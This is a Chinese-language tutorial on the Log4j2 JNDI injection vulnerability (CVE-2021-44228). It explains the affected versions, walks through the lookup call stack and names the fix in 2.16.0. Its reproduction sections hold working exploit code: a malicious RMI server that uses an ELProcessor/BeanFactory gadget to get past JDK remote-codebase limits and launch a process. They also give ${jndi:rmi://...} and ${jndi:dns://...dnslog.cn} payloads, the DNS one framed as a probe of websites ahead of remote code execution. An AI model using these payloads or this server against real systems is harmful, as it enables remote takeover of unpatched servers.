前言:
首先要了解什么是Log4j2,Log4j2是一个Java日志组件,主要用于对日志的记录。
这次漏洞出现在Log4j2的Lookup功能,使用Lookup可以在日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。但是这里可以被恶意利用。未经身份验证的远程攻击者可以通过向运行有漏洞的 log4j 版本的服务器发送精心编制的请求来利用此漏洞。精心编制的请求通过各种服务使用 Java 命名和目录接口 (JNDI) 注入,这些服务包括:
- 轻型目录访问协议 (LDAP)
- 安全的 LDAP (LDAPS)
- 远程访问调用 (RMI)
- 域名服务 (DNS)
如果有漏洞的服务器使用 Log4j2来记录请求,则该漏洞利用将通过上述服务之一从攻击者控制的服务器请求针对 JNDI 的恶意有效负载。漏洞利用得手可能会造成 RCE。
目前存在漏洞的Log4j2版本:
Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)
另外就是利用中对jdk版本的限制,高版本的java环境远程rce需要绕过。
基础:
首先我们写个基本的使用Log4j2记录的功能:
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2_cve {
public static final Logger LOGGER = LogManager.getLogger(Log4j2_cve.class);
public static void main(String[] args) {
ThreadContext.put("userId", "test");
LOGGER.error("userId: ${ctx:userId}");
}
}
代码功能就是根据上下文,将userId的内容进行输出,这样做的好处就是可以方便对日志的审查,进而更好的分析日志:
但是官方说明允许通过 JNDI 检索变量:
这就带来了问题。
复现:
首先我们编写受攻击服务器代码:
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2_cve {
public static final Logger LOGGER = LogManager.getLogger(Log4j2_cve.class);
public static void main(String[] args) {
LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
}
}
代码直接调用rmi访问我们的自己搭建的服务器
自己搭建的服务器代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main_poc {
public static void main(String[] args) throws Exception {
try{
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("exp", referenceWrapper);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
因为我的jdk版本为1.8,默认trustURLCodebase为false,不能加载远程代码,所以这里采用反射ELProcessor执行elf表达式来绕过限制,或者可以使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具搭建服务器。
先执行我们自己搭建的服务器,然后执行被攻击端代码,可以看到弹出计算器:
代码分析:
这里我们有必要研究下到底为何存在漏洞,首先我们看看漏洞触发的调用栈:
在传入参数${jndi:rmi://127.0.0.1:1099/exp}重要的几个位置,首先MessagePatternConverter的format方法,这里会匹配是否为${}格式:
而后进入StrSubstitutor的resolveVariable方法,这里会获取使用的变量解析器,这里可以看到可以使用的解析方式有{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j},我们这里使用的是jndi:
而后调用lookup和我们搭建的服务器通信,加载远程代码执行:
整个的调用逻辑很清晰,就是我们传入${jndi:rmi://127.0.0.1:1099/exp}后会判断格式是否为${},如果是则读取变量的解析方式,当为jndi的时候会调用lookup方法,进而加载我们的恶意代码。
最后官方的修复方案也是在新版本的2.16.0,Log4j2团队干脆默认禁用掉了JNDI Lookup功能,简单粗暴。
探测方法:
在我们对网站扫描中,我们要如何发现网站是否存在漏洞,如果我们直接使用rmi或者ldap进行注入,可能由于jdk版本问题或者内部网络环境问题无法得到有效回显,这里我们可以使用DNS协议进行判断:
被攻击侧代码:
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2_cve {
public static final Logger LOGGER = LogManager.getLogger(Log4j2_cve.class);
public static void main(String[] args) {
LOGGER.error("${jndi:dns://yx796p.dnslog.cn}");
}
}
运行后可以看到在远程的dnslog平台已经有了回显:
这里我们可以使用:${jndi:dns://yx796p.dnslog.cn} 编码后再网页的接口进行测试,当触发了错误或者写日志的代码,就可以成功访问我们的dnslog平台,也就可以判断是否存在漏洞,进而进行下一步攻击最终rce。
后记:
这里进行下总结,在利用Log4j2的CVE-2021-44228中,我们可以使用JNDI注入,其中我们可以使用rmi或者ldap进行远程rce,我们可以自己搭建服务器,也可以使用工具一建化搭建服务器,但是考虑到被攻击测的版本问题,当版本较高的时候,默认是不能加载我们的远程代码,这时我们可以使用DNS协议根据dnslog的输出判断是否存在漏洞,确定存在后再进行rmi注入,并根据是否执行来判断jdk版本来判断是否需要绕过。